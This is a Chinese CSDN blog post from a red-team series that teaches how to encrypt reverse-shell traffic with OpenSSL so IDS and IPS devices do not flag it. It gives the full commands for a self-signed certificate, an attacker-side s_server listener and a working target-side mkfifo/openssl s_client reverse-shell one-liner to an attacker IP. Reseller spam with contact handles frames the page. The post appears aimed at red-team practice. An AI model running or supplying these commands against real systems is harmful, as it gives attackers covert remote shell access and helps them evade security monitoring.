《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密-CSDN博客

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

  前文推荐


在实战攻防对抗中使用常规反弹shell会有一个缺点那就是所有通过shell传输的流量都是以明文的方式发送的可以被安全防护设备如IDS、IPS等获取到通信传输的数据内容会导致被触发告警拦截红队人员会使用一种加密的反弹shell方式对传输的数据内容进行混淆加密这里我们使用OpenSSL来进行加密反弹shell本次实验环境如图1-1所示。

图1-1  OpenSSL 反弹shell实验拓扑图

1首先在使用OpenSSL反弹shell之前需要对攻击机进行配置手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书其OpenSSL使用参数如表1-1所示在生成自签名证书过程中会提示输入证书信息在证书信息方面可以直接按回车键不进行设置如图1-2所示最后会生成cert.pem和key.pem这两个文件。

表1-1 常见使用参数

参数

作用

-new

表示生成一个新的证书签署要求

-x509

专用于生成CA自签证书

 -key

指定生成证书用到的私钥文件

-out FILNAME

指定生成的证书的保存路径

-days

指定证书的有效期限单位为day默认是365天

-notes

生成的私钥文件不会被加密

图1-2 攻击机生成自签名证书

2当攻击机生成自签名证书后执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令使OpenSSL监听本地攻击机的8888端口来启动一个SSL/TLS server服务。如图1-3所示。

图1-3攻击机开启监听

3当攻击机开启监听后在目标服务器进行反弹 shell 操作执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm /tmp/s命令即可将目标服务器的shell反弹到攻击机上如图1-4所示

图1-4 目标服务器执行反弹shell命令

4执行成功后对接收到的反弹shell使用ifconfig命令测试如图1-5所示可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。

图1-5 攻击机获取反弹shell

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: shell